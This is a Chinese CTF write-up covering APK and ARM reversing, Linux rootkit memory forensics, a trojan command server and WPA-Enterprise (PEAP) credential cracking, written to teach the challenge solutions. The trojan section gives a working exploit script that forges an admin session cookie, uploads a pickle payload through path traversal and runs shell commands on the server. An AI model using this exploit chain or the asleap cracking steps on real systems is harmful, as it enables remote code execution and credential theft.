近2年来,安全大赛覆盖的内容越多越多涉及新技术、新业务,如工控、物联网、无线攻防、移动安全、区块链等,大部分选手对此比较陌生。本次技能大赛的精英赛是由CTF个人赛排名靠前的优胜选手参加,其中涉及较多新技术安全内容,整体解题率较低。为熟悉新技术安全的解题思路,对相关初学者的学习有所助益,特整理编写此文。

easyAPK

直接反编译很容易找到java代码

public static String reChange(String str) {
        char[] charArray = str.toCharArray();
        int length = charArray.length;
        for (int i = 0; i < length / 2; i++) {
            char c = charArray[i];
            int i2 = (length - 1) - i;
            charArray[i] = charArray[i2];
            charArray[i2] = c;
        }
        return String.valueOf(charArray);
    }

    protected static boolean checkflag(String strIn) {
        String[] sArray = strIn.split("_");
        Log.i("xxx1", String.format("%d", new Object[]{Integer.valueOf(sArray.length)}));
        if (sArray.length == 4 && strIn.length() == 27) {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < sArray.length; i++) {
                String reChange = reChange(sArray[i]);
                String substring = reChange.substring(0, i + 1);
                String substring2 = reChange.substring(i + 1);
                String reChange2 = reChange(substring);
                String reChange3 = reChange(substring2);
                sb.append(reChange2);
                sb.append(reChange3);
            }
            BigInteger m = new BigInteger(sb.toString(), 16);
            if (m.pow(65537).mod(new BigInteger("A3332C65844CC6F5E5DABE8DD42FDE39", 16)).toString(16).compareTo("6d14c92d4ae244b583227f1e870f57bc") == 0) {
                return true;
            }
        }
        return false;
    }

题目大概疑似是flag长度27位,由三个_连接而成的字符串,经过字符串一系列转化后得到16进制hash字串,然后进行RSA加密运算,运算结果与固定值进行比较。

逆向思路:
1、对RSA的n进行分解,执行RSA解密
2、观察字符串操作的规律,逆向回原始串即可

RSA的加密结果为0x6d14c92d4ae244b583227f1e870f57bc,e=65537,n=0xA3332C65844CC6F5E5DABE8DD42FDE39
利用RSA大数分解工具n,如RsaTool2yafu等,得到p=12004517743563056963;q=18070686016358995667, 解密后得到cafe2c86588df9d0798304e8

解密code如下:

p=12004517743563056963
q=18070686016358995667
n=0xA3332C65844CC6F5E5DABE8DD42FDE39
s='6d14c92d4ae244b583227f1e870f57bc'
print n==p*q
import gmpy2
d=gmpy2.invert(65537,(p-1)*(q-1))
c=int(s,16)
m=pow(c,d,n)
print hex(m)[2:]
#cafe2c86588df9d0798304e8

字符串判断运算可看出输入长度为27,其中有3个_,共4组,则实际字符应该有24个,解密的字符刚好24个,每组6个hex字符

观察一下程序编码规律,简单逆向即可

简单重写一下编码程序,调试观察一下

def reChange(s):
    s=list(s)
    for i in range(0,len(s)/2,1):
        c=s[i]
        s[i]=s[len(s)-1-i]
        s[len(s)-1-i]=c
    return ''.join(s)

def sencrypt(str):
    txt=str.split('_')
    res=''
    for i in range(len(txt)):
        re1=reChange(txt[i])
        ss=re1[0:i+1]
        ss2=re1[i+1:]
        re2=reChange(ss)
        re3=reChange(ss2)
        #print re1,re2,re3
        res+='_'+re2+re3
    return  res

def sdecrypt(str):
    txt=str.split('_')
    res=''
    for i in range(len(txt)):
        c=txt[i]
        res+='_'+c[i+1:]+c[:i+1]
    return  res

print 'abcdef_ghijkl_mnopqr_stuvwx'
print sencrypt('abcdef_ghijkl_mnopqr_stuvwx')[1:]
#abcdef_ghijkl_mnopqr_stuvwx
#fabcde_klghij_pqrmno_uvwxst

可看出按照序号编组(下划线隔开),编码将第n组的后n位和前6-n位拼起来即可,那解码就是将第n组的后6-n位与前n位拼起来即可。

c='cafe2c86588df9d0798304e8'
txt='_'.join(c[i:i+6] for i in range(0,len(c),6))
txt=txt.split('_')
res=''
for i in range(len(txt)):
    c=txt[i]
    res+='_'+c[i+1:]+c[:i+1]

print res[1:],len(res[1:])
#flag: afe2cc_588d86_079f9d_e88304

ARM逆向

IDA反编译,找到核心操作

switch ( v6[i + 3672] )
    {
      case 'a':
        LODWORD(v8) = v8 - 1;
        break;
      case 'd':
        LODWORD(v8) = v8 + 1;
        break;
      case 's':
        ++HIDWORD(v8);
        break;
      case 'w':
        --HIDWORD(v8);
        break;
      default:
        break;
    }
    if ( byte_412070[10 * SHIDWORD(v8) + (signed int)v8] )
    {
      puts("wrong way");
      return 0LL;
    }
    v6[i + 3776] = byte_4120D8[10 * SHIDWORD(v8) + (signed int)v8] + 19;

可看出是个经典的走迷宫操作,程序根据输入的步键走,如果寻找出口即可get flag

密码是个10*10的迷宫,0为道路,1为墙

[[1 0 1 1 1 1 1 1 1 1]
 [1 0 0 0 0 0 0 0 0 1]
 [1 1 1 1 1 1 1 1 0 1]
 [1 0 0 0 0 0 0 0 0 1]
 [1 0 1 1 1 1 1 1 1 1]
 [1 0 1 0 0 0 1 1 1 1]
 [1 0 1 0 1 0 0 1 1 1]
 [1 0 1 0 1 1 0 0 1 1]
 [1 0 0 0 1 1 1 0 0 1]
 [1 1 1 1 1 1 1 1 0 1]]

手动或程序走一下迷宫

startI = 0
startJ = 1
ress=''
def visit(i,j):
    global ress
    maze[i][j] ='p'
    if j+1<sx:
        if(maze[i][j+1] == '0'):
            ress+='d'
            visit(i,j+1)
    if i+1<sx:
        if(maze[i+1][j] == '0'):
            ress+='s'
            visit(i+1,j)
    if j-1>=0:
        if(maze[i][j-1] == '0'):
            ress+='a'
            visit(i,j-1)
    if i-1>=0:
        if(maze[i-1][j] == '0'):
            ress+='w'
            visit(i-1,j)  
    maze[i][j] ='0'

maze=[]
f='''1011111111
1000000001
1111111101
1000000001
1011111111
1010001111
1010100111
1010110011
1000111001
1111111101'''
for line in f.split('\n'):
    mazeline=line
    maze.append(list(mazeline))
sx=len(maze)
sy=sx
print "The Result:"
visit(startI,startJ)
print ress
#sdddddddssaaaaaaasssssddwwwddsdsdsds

程序为arm aarch64的程序,直接无法运行,需要安装aarch64运行库

apt-get install qemu-user
apt-get install libc6-arm64-gnu
apt-get install gcc-arm-linux-gnueabi
apt-get install gcc-aarch64-linux-gnu

sudo ln -s /usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1 /lib/
export LD_LIBRARY_PATH=/usr/aarch64-linux-gnu/lib/

输入即可got flag

~/temp$ ./bin
sdddddddssaaaaaaasssssddwwwddsdsdsds
flag is=flag{405A5934322E2091C987E7586B544292}

RootKit取证

题目为linux内存取证,由于vol.py默认只支持windows系列操作系统的内存取证,首先将题目提供的ubuntu1604.zip拷贝到%volatility_dir%/volatility\plugins\linux目录中

再使用python vol.py --info
就可以看到profile中添加了一行支持Ubuntu16.04

Profiles
--------
Linuxubuntu1604x64    - A Profile for Linux ubuntu1604 x64

过滤查看一下vol.py支持的linux指令

>python vol.py --info|findstr linux
Volatility Foundation Volatility Framework 2.6
linux_apihooks             - Checks for userland apihooks
linux_arp                  - Print the ARP table
linux_aslr_shift           - Automatically detect the Linux ASLR shift
linux_banner               - Prints the Linux banner information
linux_bash                 - Recover bash history from bash process memory
linux_bash_env             - Recover a process' dynamic environment variables
linux_bash_hash            - Recover bash hash table from bash process memory
linux_check_afinfo         - Verifies the operation function pointers of network protocols
linux_check_creds          - Checks if any processes are sharing credential structures
linux_check_evt_arm        - Checks the Exception Vector Table to look for syscall table hooking
linux_check_fop            - Check file operation structures for rootkit modifications
linux_check_idt            - Checks if the IDT has been altered
linux_check_inline_kernel  - Check for inline kernel hooks
linux_check_modules        - Compares module list to sysfs info, if available
linux_check_syscall        - Checks if the system call table has been altered
linux_check_syscall_arm    - Checks if the system call table has been altered
linux_check_tty            - Checks tty devices for hooks
linux_cpuinfo              - Prints info about each active processor
linux_dentry_cache         - Gather files from the dentry cache
linux_dmesg                - Gather dmesg buffer
linux_dump_map             - Writes selected memory mappings to disk
linux_dynamic_env          - Recover a process' dynamic environment variables
linux_elfs                 - Find ELF binaries in process mappings
linux_enumerate_files      - Lists files referenced by the filesystem cache
linux_find_file            - Lists and recovers files from memory
linux_getcwd               - Lists current working directory of each process
linux_hidden_modules       - Carves memory to find hidden kernel modules
linux_ifconfig             - Gathers active interfaces
linux_info_regs            - It's like 'info registers' in GDB. It prints out all the
linux_iomem                - Provides output similar to /proc/iomem
linux_kernel_opened_files  - Lists files that are opened from within the kernel
linux_keyboard_notifiers   - Parses the keyboard notifier call chain
linux_ldrmodules           - Compares the output of proc maps with the list of libraries from libdl
linux_library_list         - Lists libraries loaded into a process
linux_librarydump          - Dumps shared libraries in process memory to disk
linux_list_raw             - List applications with promiscuous sockets
linux_lsmod                - Gather loaded kernel modules
linux_lsof                 - Lists file descriptors and their path
linux_malfind              - Looks for suspicious process mappings
linux_memmap               - Dumps the memory map for linux tasks
linux_moddump              - Extract loaded kernel modules
linux_mount                - Gather mounted fs/devices
linux_mount_cache          - Gather mounted fs/devices from kmem_cache
linux_netfilter            - Lists Netfilter hooks
linux_netscan              - Carves for network connection structures
linux_netstat              - Lists open sockets
linux_pidhashtable         - Enumerates processes through the PID hash table
linux_pkt_queues           - Writes per-process packet queues out to disk
linux_plthook              - Scan ELF binaries' PLT for hooks to non-NEEDED images
linux_proc_maps            - Gathers process memory maps
linux_proc_maps_rb         - Gathers process maps for linux through the mappings red-black tree
linux_procdump             - Dumps a process's executable image to disk
linux_process_hollow       - Checks for signs of process hollowing
linux_psaux                - Gathers processes along with full command line and start time
linux_psenv                - Gathers processes along with their static environment variables
linux_pslist               - Gather active tasks by walking the task_struct->task list
linux_pslist_cache         - Gather tasks from the kmem_cache
linux_psscan               - Scan physical memory for processes
linux_pstree               - Shows the parent/child relationship between processes
linux_psxview              - Find hidden processes with various process listings
linux_recover_filesystem   - Recovers the entire cached file system from memory
linux_route_cache          - Recovers the routing cache from memory
linux_sk_buff_cache        - Recovers packets from the sk_buff kmem_cache
linux_slabinfo             - Mimics /proc/slabinfo on a running machine
linux_strings              - Match physical offsets to virtual addresses (may take a while, VERY verbose)
linux_threads              - Prints threads of processes
linux_tmpfs                - Recovers tmpfs filesystems from memory
linux_truecrypt_passphrase - Recovers cached Truecrypt passphrases
linux_vma_cache            - Gather VMAs from the vm_area_struct cache
linux_volshell             - Shell in the memory image
linux_yarascan             - A shell in the Linux memory image

一般rootkit可能已注入系统模块或驱动,用linux_lsmod查看一下系统模块

>python vol.py -f ram.lime --profile=Linuxubuntu1604x64 linux_lsmod
Volatility Foundation Volatility Framework 2.6
ffffffffc05a3040 lime 20480
ffffffffc05e6040 w1ndsko 20480
ffffffffc05ec1c0 vmw_balloon 20480
......

但是不确定哪个是rootkit模块,那利用linux_moddump指令将所有加载的模块都导出来

看名字猜测w1ndsko比较可疑,IDA反编译一下
其中一串Oh8E0oM1XfDBSAFqtRr9cvzx应该是密文,ubuntu16.04中保存为1.txt,与rootkit模块同目录
模拟加载rootkit模块(insmod w1nds.ko),自动将1.txt替换为flag:flag{now_u_know_r00tkit}

木马回溯

APK是木马客户端,动态抓取或简单解密即可得到上线地址,因检测了模拟器,需patch掉模拟器检测的部分
APK中字段及URL地址的加密密钥为8885934cdd747de041c0f4278a4aaf634a0c985a6a7b0b624e1255acd9427a91,加密方法为AES/ECB/PKCS5, 直接用cyberchef等宫工具解密相关hash即可

抓到服务器地址之后扫描一下发现img目录下存在目录遍历,抓包发现中间件是nginx1.10.3

利用/img../可浏览上一级目录的文件

无法直接下载py文件,在__pycache__中找到pyc文件可下载,下载并反编译

对py进行分析,发现存在反序列化漏洞,主要功能函数调试代码如下,去掉了加解密的过程及部分过滤判断,可单独运行进行调试

#coding:utf-8
from flask import Flask, request,render_template_string,session
import pickle,hashlib,json
import datetime

app = Flask(__name__)
app.permanent_session_lifetime = datetime.timedelta(hours=1)# attention: cookie 1 hour valid, change session every hour
app.debug=False
app.config["SECRET_KEY"] = "3655c56ec2edae6d29ddaf1d8379b7728bca"  

@app.route("/")
def index():
    name = 'guest'
    if 'user' not in session:
        session['user']=name
    if session['user']=='admin':
        template = u'''
            <div class="center-content">
                <h1>Oops! You are admin!</h1>
            </div>
        ''' 
    else:
        template="Hello, " + session['user']+"\n\n\n\n\n"
    return render_template_string(template)

@app.route("/upload",methods=['POST','GET'])
def upload():
    try:
        f=request.files['myfile']
        data=f.read()
        f.seek(0,0)
        f.save('./img/'+f.filename)
    except:
        return ''
    return ''

@app.route("/online",methods=['POST','GET'])
def online():
    try:
        pcinfo=json.loads(request.data.decode())
        print(pcinfo)
        sernum=hashlib.md5((pcinfo['IMEI']+pcinfo['RAND']).encode('utf8')).hexdigest()
        file=open('./remote_mobile/'+sernum+'.dat','wb')
        xx={'makers':pcinfo['makers'],'IMEI':pcinfo['IMEI'],'RAND':pcinfo['RAND']}
        pickle.dump(xx,file)
        file.close()
    except Exception as e:
        return ''
    return ''

@app.route("/search",methods=['POST','GET'])
def search():
    try:
        if session['user']!='admin':
            return 'no auth'
        sx=request.form.get('serial')
        if len(sx)==32:
            f=open('./remote_mobile/%s.dat'%sx,'rb')
            pc=pickle.load(f)
            print(pc)
            return pc['makers']+'\n'+pc['IMEI']+'\n'+pc['RAND']
    except Exception as e:
        return str(e)
    return 'no auth'

if __name__ == "__main__":
    app.run()

/online可将肉鸡的手机信息数据序列化后保存为文件./remote_mobile/{sernum}.dat

/search必须在admin账户下执行,将`./remote_mobile/{sernum}.dat内容读取并反序列化解码,可以执行指令

/upload可上传文件保存到img目录下,可以上传序列化到文件中

​ 构造反序列化字符串通过upload功能路径穿越替换dat文件,执行反序列化payload还需要admin权限,通过源码泄露的secret_key构造一个admin的cookie,即可执行指令。

​ 可直接指向指令反弹shell,或写入flag内容到可读取的目录中,或利用反序列化命令执行将flag内容读取替换到remote_mobile下文件反序列化内容中中,次执行反序列化即可将flag打印出来

调试利用脚本如下:

import requests,hashlib,pickle,json
pcinfol={"makers":"aa","IMEI":"1380000100","RAND":"a"*40}
pcinfo2={"makers":"22","IMEI":"1380000000","RAND":"a"*40}#RAND match flag length
pcinfol=str(json.dumps(pcinfol))
pcinfo2=str(json.dumps(pcinfo2))
print(pcinfol)
print(pcinfo2)
class EXP(object):
    def __init__(self,sernum):
        self.sernum=sernum
    def __reduce__(self):
        #return eval, ("__import__('os').system('a=`cat /*flag*`;echo $a > ./img/xy.txt')",)#put flag in folder where you can read
        return eval, ("__import__('os').system('a=`cat /*flag*`;sed -i \"s/{y}/$a/\" ./remote_mobile/{x}.dat')".format(x=self.sernum,y='a'*40),) # guest length of flag may be 40

def exp(ip, port):
    try:
        BaseUrl="http://%s:%d/"%(ip, port)
        a=requests.Session()
        cookie={'session':'eyJ1c2VyIjoiYWRtaW4ifQ.Xfw22w.bW7LJnDE9jLpkZ_LQ3OlGN4Qy2c'}
        a.cookies=requests.utils.cookiejar_from_dict(cookie,cookiejar=None,overwrite=True)
        a.post(url=BaseUrl+'online',data=pcinfol,headers={'content-Type': 'xxx'})
        x=a.post(url=BaseUrl+'online',data=pcinfo2,headers={'content-Type': 'xxx'})
        print(x.text)
        sernum1=hashlib.md5((eval(pcinfol)["IMEI"]+eval(pcinfol)["RAND"]).encode('utf8')).hexdigest() #filename1
        sernum2=hashlib.md5((eval(pcinfo2)["IMEI"]+eval(pcinfo2)["RAND"]).encode('utf8')).hexdigest()#filename2
        print(sernum1)
        print(sernum2)
        exp2=EXP(sernum2) # py unsearilize
        tmp_file_name='ff.dat'
        f=open(tmp_file_name,'wb')
        pickle.dump(exp2,f)
        f.close()
        files={'myfile': ("../remote_mobile/{sernum}.dat".format(sernum=sernum1),open(tmp_file_name, 'rb'))}

        r=a.post(BaseUrl + "upload", files=files) #upload unsearilize content into file 
        datal={"serial": sernum1}
        data2={"serial": sernum2}
        r=a.post(BaseUrl + 'search' ,data=datal)#execute unsearilize payload
        print(r.text)
        r=a.post(BaseUrl + 'search', data=data2)#execute cat flag
        print(r.text)
        return True
    except Exception as e :
        print(str(e))
        return False
    return False

if __name__== "__main__" :
    print(exp('127.0.0.1', 5000))

智能合约

EVM bytecode逆向,详见https://xz.aliyun.com/t/6934#toc-0 , 不再赘叙

hack eap

黑客攻击了某企业的无线网络,你能通过数据分析找到入侵者么?入侵者在传送数据时暴露了自己的信息,你可以通过企业地址的oui解开他的NThash么

Hint: PEAP-MSV2

根据猜测,无线攻击经常可能会出现DOS攻击,先分析一下数据包中的Deauth数据包

wlan.fc.type_subtype == 12

得到受攻击的企业网络AP的MAC地址为d6:b0:fd:eb:91:d5

过滤连接该MAC地址的数据包

wlan.da == d6:b0:fd:eb:91:d5

过滤后发现60:02:b4:77:64:63向该地址发送LL数据包文,获得挑战码与响应码如下:

挑战码:

6c656e67652d34303a65333a33653a31663a36353a38643a61363a3161

解码为lenge-40:e3:3e:1f:65:8d:a6:1a

响应码

706f6e73652d76616c75653a61353a37363a32343a33663a39393a33653a31653a32383a38383a64333a33623a66353a31343a32373a34663a66383a62613a36343a36653a34373a62613a62343a37313a6333

hex解码得到ponse-value:a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3

利用kali里的asleap工具爆破密码,根据题目提示,密码可能为AP-MAC地址的 OUI:d6:b0:fd (OUI为MAC地址的前3个hex字节,标识硬件制造商编号,一般为大写形式)

root@kali:~# echo "D6:B0:FD" > pass.txt
root@kali:~# asleap -C 40:e3:3e:1f:65:8d:a6:1a -R a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3 -W pass.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "pass.txt".
    hash bytes:        be11
    NT hash:           ab581d2b235f02641bf4cd1759f2be11
    password:          D6:B0:FD
#flag为flag{ab581d2b235f02641bf4cd1759f2be11}

web渗透-note

详见https://xz.aliyun.com/t/6894#toc-8, 不再赘叙


部分离线题目文件下载地址:https://pan.baidu.com/s/1Qokv9mRSvNAM1D3Hg2egdQ 提取码:xtus

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖